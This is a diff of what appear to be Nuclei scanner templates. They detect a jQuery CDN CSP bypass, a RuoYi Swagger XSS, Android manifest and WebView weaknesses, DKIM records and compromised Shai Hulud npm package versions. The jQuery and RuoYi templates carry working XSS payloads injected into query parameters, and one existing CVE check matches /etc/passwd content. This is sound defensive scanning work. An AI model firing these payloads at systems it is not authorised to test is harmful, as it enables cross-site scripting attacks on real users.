    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.92472
-    epss-percentile: 0.99723
+    epss-score: 0.92923
+    epss-percentile: 0.9976
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a00473045022100b9f31b9c0e85408532325528b029a5f2b87befb42a74df2a7710876ae770b7be02203275cc64a0a110cad4f2f1e9ce6ffe92777fca4f3471bc64fec3739ee2f9ce7b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220048615c2e468bd5e0fbe2e0768cf0f3d80a696628addf9008f4b205e19a465a4022100876603cc4c40fb8f5ccc7574dcc322da4b0b611d34ce18aa84f817776e192406:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,63 @@
+id: jquery-cdn-csp-bypass
+
+info:
+  name: Content-Security-Policy Bypass - jQuery CDN
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CSP policy allows jQuery CDN which enables arbitrary JavaScript execution through vulnerable jQuery versions using parseHTML or $.get functions.
+  reference:
+    - https://www.doyler.net/security-not-included/csp-bypass-via-jquery
+    - https://github.com/jquery/jquery/issues/2432
+    - https://bugs.jquery.com/ticket/11974
+  metadata:
+    verified: true
+    max-request: 2
+  classification:
+    cwe-id: CWE-79
+  tags: xss,csp-bypass,jquery,vuln
+
+flow: http(1) && headless(1)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "Content-Security-Policy"
+          - "code.jquery.com"
+        condition: and
+        internal: true
+
+headless:
+  - steps:
+      - action: navigate
+        args:
+          url: "{{BaseURL}}"
+
+      - action: waitdialog
+        name: jquery_csp_xss
+        args:
+          max-duration: 5s
+
+    payloads:
+      injection:
+        - '<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script><script>$.get("data:text/javascript,alert(document.domain)")</script>'
+        - '<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script><div id="x"></div><script>$("#x").html("<img src=x onerror=alert(document.domain)>")</script>'
+
+    fuzzing:
+      - part: query
+        type: replace
+        mode: single
+        fuzz:
+          - "{{url_encode(injection)}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "jquery_csp_xss == true"
+# digest: 490a0046304402204dfeb2253ed0a5f3116c1a890920e318b7cca28ac18dd4f56d191f812f2c8f4d022060844041558f1c64441b60814f110186e2c16d65f9778c121aaed40e886e5eda:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: dkim-record-detect
+
+info:
+  name: DKIM Record - Detection
+  author: princechaddha
+  severity: info
+  description: |
+    A DKIM (DomainKeys Identified Mail) TXT record was detected. DKIM is an email authentication method that allows the receiver to check that an email claimed to have come from a specific domain was indeed authorized by the owner of that domain.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc6376
+    - https://dkim.org/
+  metadata:
+    max-request: 10
+  tags: dns,dkim,email,discovery
+
+dns:
+  - name: "{{selector}}._domainkey.{{FQDN}}"
+    type: TXT
+
+    payloads:
+      selector:
+        - default
+        - selector1
+        - selector2
+        - google
+        - k1
+        - s1
+        - s2
+        - dkim
+        - mail
+        - email
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "v=DKIM1"
+        case-insensitive: true
+
+      - type: regex
+        regex:
+          - 'p=[A-Za-z0-9+/]{20,}'
+        negative: false
+
+    extractors:
+      - type: regex
+        regex:
+          - "v=DKIM1(.+)"
+# digest: 490a0046304402203b26233c356e1d25b66e4391b61e29c7547624bd7457bdff47b216b4ce142d31022015cf8bf03c1bb50fe65beec8f1f178707487fe245f7d03862d397e2210aaf8a1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: deep-link-custom-scheme-detect
+
+info:
+  name: Android Deep Link - Detect Custom Schemes
+  author: 7h3b4dger
+  severity: info
+  description: Detects custom URI schemes (non-http/https) declared in Deep Link intent filters.
+  tags: android,file,deeplink
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity/intent-filter/action[@android:name='android.intent.action.VIEW']"
+          - "//activity/intent-filter/category[@android:name='android.intent.category.BROWSABLE']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:scheme
+        xpath:
+          - "/manifest/application/activity/intent-filter/data[@android:scheme!='http' and @android:scheme!='https']"
+# digest: 4b0a00483046022100dfee623cb783925f2b89ea83c79151915f4162f43ea65bbefc3f722abef572bd022100b858c523655c14169534615ca34ad18ccdae8f6e8f6bdae088ada1b8c25ec943:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: exported-activities
+
+info:
+  name: Android Exported Activities - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported (android:exported="true") activities in AndroidManifest.xml, excluding launcher activities and common Google/Jetpack libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity[@android:exported='true']"
+          - "//activity/intent-filter/action[@android:name!='android.intent.category.LAUNCHER']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//activity[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 490a004630440220457f58399dc08789899303ee923debaeabb34e6378d3cf92a8990917197c49a6022024f33e09d43b6ec9eb9a496ae9902d84a51e6ab5705a83bf695423d5a7143a89:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: exported-broadcast-receivers
+
+info:
+  name: Android Exported Broadcast Receivers in AndroidManifest.xml - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported Broadcast Receivers in AndroidManifest.xml (excluding disabled receivers and Google/Jetpack libraries)
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//receiver[@android:exported='true']"
+          - "//receiver[@android:enabled!='false']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//receiver[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ea0a6074ea4f80d449daef641113ac85735df72bc419255d35f14c94c24ed1d6022100a063cee8432cd71af136b73f1f6cb7e4f1f8121f9699358d61dec8e3c0a76c3e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
+id: exported-providers
+
+info:
+  name: Android Exported Providers - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detects exported content providers declared in the app’s AndroidManifest.xml, excluding those added by dependency libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//provider[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//provider[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ae19fefa832a8fe0477ab132a4199f1736357246d1481d4ee01922e00b7efba7022100dd90c806e248816f43a478d6bbdf9e16a08975a3bb154c1f88e9a882e8fbfaa7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
+id: exported-services
+
+info:
+  name: Android Exported Services - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported services in AndroidManifest.xml, excluding disabled and common Google/Jetpack library services.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//service[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//service[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a004830460221009100a81cea6ccb3105977ace3ad5131a1a677f7f332e6192c1dcbb5a24705025022100ce7022ee4b51071412405072a5899d71af706efe2c9f965dff02f3d434d6f63e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-file-access-fromfileurl-java
+
+info:
+  name: Android WebView File Access from file URLs - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access from file URLs enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 490a00463044022034c6c89c765c2dc11e557c4b752bd3c7391a8e514f74343f057b87e1a54856b5022062707c1122b2429879a1b3a5bfb6db32bd202a823b826a099335d5fc9cda48ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-file-access-java
+
+info:
+  name: Android File Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccess(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022028b71ccf953d918f4232cb0c9e4cd8774b3f37f0ed64e7b0c69333893236ea21022100854a654d966c122e26ea8c2220c8d62d2259e173fd6b3a87e80b04b157c9c2ec:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: webview-universal-access-java
+
+info:
+  name: Android WebView Universal Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView Universal Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowUniversalAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022100b4ab25d9af5156ca830d2354c2ae9495d6e3b2e012187e4f9b48716025f3466102202a72c3a24c91d16dc9e8cb1673ed0ae719718a2ef199d50bc9cec8a35d85cf90:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a0047304502204c06946211ed44cd2ce7e1c370fa59ed67d4bde27b30a02c486c365d36e6f3eb022100826554217ed0f582d155d6c899c76d7891b6afd3fba4cb96f329d682c456be79:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ff04773837067383500f868d5157269c2caf0352a5e98bedf7e0f9db7777e3ae0220429aa87554f392ca8e57f3439df71bfe602ceb5de02eb1ddae9c737d140cbfb2:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022057f76fbd45cd3bad910a0acf5fd2619dad772286a326260855950a1951fbd33c022100a7ae8b5fd07e9f6ab9e8091c711059ce2d1cd1c82aeadbc0bf88e088a36ae7b4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a08677731c06b5e9565c309b8b60df000c38800abad647220d7def34f61e6690022100f839dfbffa9b0c297b4bca43fefdc09a8c2a80fffd1ec936ba20b99dfb531a33:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,155 @@
+id: shai-hulud-supply-chain
+
+info:
+  name: Shai Hulud 2.0 - Supply Chain Malware Detection
+  author: princechaddha,wiz-research
+  severity: critical
+  description: |
+    Detects compromised npm packages from the Shai Hulud 2.0 supply chain attack discovered in November 2025.
+    The attack affected over 25,000 malicious repositories across approximately 350 GitHub users, targeting major organizations
+    including Zapier, ENS Domains, PostHog, Postman, AsyncAPI, Voiceflow, and BrowserBase. The malware executes during the
+    preinstall phase and performs credential theft, cloud resource access (AWS, Azure, GCP), and GitHub persistence through
+    self-hosted runners named 'SHA1HULUD'. Malicious versions were published between November 21-23, 2025.
+  reference:
+    - https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
+    - https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
+    cvss-score: 9.6
+    cwe-id: CWE-1357
+  metadata:
+    verified: true
+    max-request: 1
+  tags: file,malware,supply-chain,npm,nodejs,shai-hulud
+
+file:
+  - extensions:
+      - json
+
+    extractors:
+      - type: regex
+        name: zapier-compromised
+        regex:
+          - '"@zapier/secret-scrubber":\s*"[^"]*1\.1\.[345][^"]*"'
+          - '"@zapier/ai-actions":\s*"[^"]*0\.1\.(18|19|20)[^"]*"'
+          - '"@zapier/babel-preset-zapier":\s*"[^"]*6\.4\.[123][^"]*"'
+          - '"@zapier/browserslist-config-zapier":\s*"[^"]*1\.0\.[345][^"]*"'
+          - '"zapier-platform-cli":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-core":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-schema":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-scripts":\s*"[^"]*7\.8\.[34][^"]*"'
+          - '"zapier-async-storage":\s*"[^"]*1\.0\.[123][^"]*"'
+
+      - type: regex
+        name: ensdomains-compromised
+        regex:
+          - '"@ensdomains/address-encoder":\s*"[^"]*1\.1\.5[^"]*"'
+          - '"@ensdomains/contracts":\s*"[^"]*1\.6\.1[^"]*"'
+          - '"@ensdomains/ensjs":\s*"[^"]*4\.0\.3[^"]*"'
+          - '"@ensdomains/content-hash":\s*"[^"]*3\.0\.1[^"]*"'
+          - '"@ensdomains/ens-avatar":\s*"[^"]*1\.0\.4[^"]*"'
+          - '"@ensdomains/blacklist":\s*"[^"]*1\.0\.1[^"]*"'
+          - '"@ensdomains/buffer":\s*"[^"]*0\.1\.2[^"]*"'
+          - '"@ensdomains/ccip-read-[^"]*":\s*"[^"]*0\.(0|1)\.\d+[^"]*"'
+          - '"@ensdomains/cypress-metamask":\s*"[^"]*1\.2\.1[^"]*"'
+          - '"@ensdomains/dnsprovejs":\s*"[^"]*0\.5\.3[^"]*"'
+          - '"@ensdomains/ens-test-env":\s*"[^"]*1\.0\.2[^"]*"'
+          - '"@ensdomains/ens-validation":\s*"[^"]*0\.1\.1[^"]*"'
+          - '"@ensdomains/mock":\s*"[^"]*2\.1\.52[^"]*"'
+          - '"@ensdomains/thorin":\s*"[^"]*0\.6\.51[^"]*"'
+          - '"@ensdomains/ui":\s*"[^"]*3\.4\.6[^"]*"'
+          - '"ethereum-ens":\s*"[^"]*0\.8\.1[^"]*"'
+          - '"crypto-addr-codec":\s*"[^"]*0\.1\.9[^"]*"'
+
+      - type: regex
+        name: posthog-compromised
+        regex:
+          - '"@posthog/agent":\s*"[^"]*1\.24\.1[^"]*"'
+          - '"@posthog/ai":\s*"[^"]*7\.1\.2[^"]*"'
+          - '"@posthog/cli":\s*"[^"]*0\.5\.15[^"]*"'
+          - '"@posthog/clickhouse":\s*"[^"]*1\.7\.1[^"]*"'
+          - '"@posthog/core":\s*"[^"]*1\.5\.6[^"]*"'
+          - '"@posthog/icons":\s*"[^"]*0\.36\.1[^"]*"'
+          - '"@posthog/wizard":\s*"[^"]*1\.18\.1[^"]*"'
+          - '"posthog-js":\s*"[^"]*1\.(167|168|169|297)\.\d+[^"]*"'
+          - '"posthog-node":\s*"[^"]*[45]\.(11|13|18)\.\d+[^"]*"'
+          - '"posthog-docusaurus":\s*"[^"]*2\.0\.6[^"]*"'
+          - '"posthog-react-native":\s*"[^"]*4\.(11|12)\.\d+[^"]*"'
+          - '"posthog-plugin-hello-world":\s*"[^"]*1\.0\.1[^"]*"'
+
+      - type: regex
+        name: postman-compromised
+        regex:
+          - '"@postman/csv-parse":\s*"[^"]*4\.0\.[345][^"]*"'
+          - '"@postman/node-keytar":\s*"[^"]*7\.9\.[456][^"]*"'
+          - '"@postman/tunnel-agent":\s*"[^"]*0\.6\.[567][^"]*"'
+          - '"@postman/aether-icons":\s*"[^"]*2\.23\.[234][^"]*"'
+
+      - type: regex
+        name: asyncapi-compromised
+        regex:
+          - '"@asyncapi/studio":\s*"[^"]*1\.0\.[23][^"]*"'
+          - '"@asyncapi/server-api":\s*"[^"]*0\.16\.(24|25)[^"]*"'
+          - '"@asyncapi/dotnet-rabbitmq-template":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"@asyncapi/go-watermill-template":\s*"[^"]*0\.2\.(76|77)[^"]*"'
+          - '"@asyncapi/java-template":\s*"[^"]*0\.3\.[56][^"]*"'
+          - '"@asyncapi/keeper":\s*"[^"]*0\.0\.[23][^"]*"'
+          - '"@asyncapi/php-template":\s*"[^"]*0\.1\.[12][^"]*"'
+          - '"@asyncapi/python-paho-template":\s*"[^"]*0\.2\.(14|15)[^"]*"'
+          - '"@asyncapi/web-component":\s*"[^"]*2\.6\.[67][^"]*"'
+          - '"@asyncapi/edavisualiser":\s*"[^"]*1\.2\.[12][^"]*"'
+          - '"asyncapi-preview":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"create-glee-app":\s*"[^"]*0\.2\.[23][^"]*"'
+
+      - type: regex
+        name: voiceflow-compromised
+        regex:
+          - '"@voiceflow/alexa-types":\s*"[^"]*2\.15\.(60|61)[^"]*"'
+          - '"@voiceflow/anthropic":\s*"[^"]*0\.4\.[45][^"]*"'
+          - '"@voiceflow/api-sdk":\s*"[^"]*3\.28\.(58|59)[^"]*"'
+          - '"@voiceflow/backend-utils":\s*"[^"]*5\.0\.[12][^"]*"'
+          - '"@voiceflow/base-types":\s*"[^"]*2\.136\.[23][^"]*"'
+          - '"@voiceflow/body-parser":\s*"[^"]*1\.21\.[23][^"]*"'
+          - '"@voiceflow/chat-types":\s*"[^"]*2\.14\.(58|59)[^"]*"'
+          - '"@voiceflow/common":\s*"[^"]*8\.9\.[12][^"]*"'
+          - '"@voiceflow/eslint-config":\s*"[^"]*7\.16\.[45][^"]*"'
+          - '"@voiceflow/general-types":\s*"[^"]*3\.2\.(22|23)[^"]*"'
+          - '"@voiceflow/google-types":\s*"[^"]*2\.21\.(12|13)[^"]*"'
+          - '"@voiceflow/runtime":\s*"[^"]*1\.29\.[12][^"]*"'
+
+      - type: regex
+        name: browserbase-compromised
+        regex:
+          - '"@browserbasehq/stagehand":\s*"[^"]*3\.0\.4[^"]*"'
+          - '"@browserbasehq/mcp-server-browserbase":\s*"[^"]*2\.4\.2[^"]*"'
+          - '"@browserbasehq/director-ai":\s*"[^"]*1\.0\.3[^"]*"'
+          - '"@browserbasehq/bb9":\s*"[^"]*1\.2\.21[^"]*"'
+          - '"@browserbasehq/mcp":\s*"[^"]*2\.1\.1[^"]*"'
+
+      - type: regex
+        name: accordproject-compromised
+        regex:
+          - '"@accordproject/concerto-analysis":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-linter":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-types":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/template-engine":\s*"[^"]*2\.7\.2[^"]*"'
+
+      - type: regex
+        name: other-compromised-scoped
+        regex:
+          - '"@actbase/react-native-[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@antstackio/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@clausehq/flows-step-[^"]*":\s*"[^"]*0\.1\.14[^"]*"'
+          - '"@dev-blinq/[^"]*":\s*"[^"]*1\.0\.[0-9]+[^"]*"'
+          - '"@kvytech/[^"]*":\s*"[^"]*0\.0\.[0-9]+[^"]*"'
+          - '"@lessondesk/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@trigo/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@varsityvibe/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+
+      - type: regex
+        name: malicious-indicators
+        regex:
+          - 'SHA1HULUD'
+          - 'SHAI-HULUD'
+          - 'shai-hulud'
+# digest: 4a0a00473045022044a941bb4a169ab032c61fda553bafea4f00744b398fd40ca246c31e0186b2cc022100ff6ac326626b807b20362c737941d4ef5931a724fdead3674149eaa8613009a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.83032
-    epss-percentile: 0.99217
+    epss-score: 0.81926
+    epss-percentile: 0.99152
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022049066491c47881f10f9bb7f5603f800d8e7b230be3aee3a9168ec7512d85681d022100d8ab0c597c50cccaecd7f55fd01d2c660d24301609af90e79e61deae3c0da80d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022022a57d7477272f68e9cad11e228f2a6d288e7d908585d2bd85d8d0d1529587d8022100ec7054fc59ba0a78cf90d79644e12939e34556c20b90544b428f86b1df47eca6:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
-    epss-score: 0.73995
-    epss-percentile: 0.98772
+    epss-score: 0.69544
+    epss-percentile: 0.98579
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 4b0a00483046022100fa5e2db4c3f3952f85361fc6d49939bf2273c68edc34ea09cf55ad1210c6846d022100d5a8e4a5ebe1dd7eb22f3b9fb90e9d5628bb7c880171fb1af5868fbf2ea2d8d2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201904d130bbb1704cfcf458d96c6a9112a4dc3abf1c28e7174d45071b7251c0a7022100c9d288afc522a30d898fae9e1d9e63f20414e89e6a21bb0e338cb5037591e79f:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.02716
-    epss-percentile: 0.85451
+    epss-score: 0.03413
+    epss-percentile: 0.86951
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 490a00463044022058b32c9ae34061ebab359182e96023d86682145cb57428a1ace0ae53256305e5022062ba25d7ea9c8976f88d6565877f824c2b05145f2132dbd9c2a18e2cdf4c9912:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0ba0b9e4d341022a8a20383260c7cbdf454afc728ab843c304d92cf1eb8bf4802210083d7cddcfaff30b8b5e708171f1e1bff900d0bd997d56a2597ad67845328db12:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2024-38526
-    epss-score: 0.83976
-    epss-percentile: 0.99268
+    epss-score: 0.82064
+    epss-percentile: 0.99159
  tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4b0a00483046022100f5c7a7c44d33b8a4e7b118671060be89e0c20d2dcd1b339ad5d3576d02372314022100efbfd77fe347b06c80cb98c885ce2f4a24d23635a1fa53a92edfb98e22510a1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bf526411eb2ed63b0ee0e8edb373d3929b735c8c7d7ca6f46b84d1981e78e6b2022034381b6f4144eb2611aa00e964d60d9762c0f65c1c6ba20472c4e465898d0ebe:922c64590222798bb761d5b6d8e72950
@@ -11,8 +11,8 @@ info:
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  classification:
-    epss-score: 0.01886
-    epss-percentile: 0.82647
+    epss-score: 0.03281
+    epss-percentile: 0.86694
  metadata:
    verified: true
    max-request: 1
@@ -42,4 +42,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4b0a00483046022100f709bfed9bd55e86017df25649fc03ea0e440908e3a489746511268cec277065022100ed5ea9184451ca5131e60f15e82d665f0a41a820d290bd45340edc504ced9a49:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220192f5825043f682402fddb3fa5f1563cc25be22d92e61af31e9e7faa742ea8550220489cd46e33d480cf5c127ae75034c411f1982da3eac5b4a716beb8d9febdcfa4:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
    epss-score: 0.34064
-    epss-percentile: 0.96792
+    epss-percentile: 0.96787
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -186,4 +186,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4b0a004830460221009674fa793d8d3c3a4c49e1f9e72d7264810dd9a568ecda882629d1c7d96a8a9c0221008eb2d65b54ef765296f0764dfc3b058cc9ba77f656fcb0e169201396264b04fe:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201a50308fdfe283666031e32a399c2dc0b75543904c9eb4b6b2f96a054c05ec0602200ae4426ed4ebfac2aea5dcee0f2c0a718feae3a8c6b1970f80d21953d410e2ab:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
-    epss-score: 0.91603
-    epss-percentile: 0.99665
+    epss-score: 0.9253
+    epss-percentile: 0.9972
  metadata:
    vendor: vercel
    product: Next.js
@@ -55,4 +55,4 @@ headless:
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
-# digest: 4a0a00473045022100e5205918c514ac5a389a09a992b1ad4e6ece6e5b0e8e3a5f2486dcd7f707636f0220681120db58d849b9dcea807bff26efda556412671d0e0d9f4d1ca3420a8210da:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fd15ac0783f94950bded50facf9cbc51d6b7f43a3372c6b0fd81a5b2d9d4a9f0022029ca0dde1823d68bce0765e8423ffb219334f0acd062cd151430ef9581cc8428:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
+id: CVE-2025-7901
+
+info:
+  name: yangzongzhuan RuoYi - DOM Based XSS
+  author: Nikhil Patidar
+  severity: medium
+  description: |
+    yangzongzhuan RuoYi = 4.8.1 contains a stored XSS caused by manipulation of the \"configUrl\" argument in /swagger-ui/index.html of Swagger UI, letting remote attackers execute scripts, exploit requires crafted request.
+  impact: |
+    Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on behalf of users.
+  remediation: |
+    Update to the latest version beyond 4.8.1.
+  reference:
+    - https://github.com/yangzongzhuan/RuoYi/issues/293
+    - http://nvd.nist.gov/vuln/detail/CVE-2025-7901
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"RuoYi"
+  tags: cve,cve2025,headless,ruoyi,xss,swagger,vuln
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4b0a004830460221009ecd5197eef9ed20cb18d67be5f0545fec3f9c85791e170e52b203041b2018aa022100899745438e3e8675e941a5684feee8f968d289f557ae3cc21d124e8a9e2d6f24:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2025-8191
    cwe-id: CWE-79
-    epss-score: 0.01591
-    epss-percentile: 0.81124
+    epss-score: 0.01236
+    epss-percentile: 0.78605
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -65,4 +65,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022100993393140392424e91b9fb45d55a520fcb18da705fb6712d1972c71a3f4d00b6022023346bb49086e3422fc1c87c097d5aa0350f0b2132503ee1c2f9d103e2f8eb9d:922c64590222798bb761d5b6d8e72950
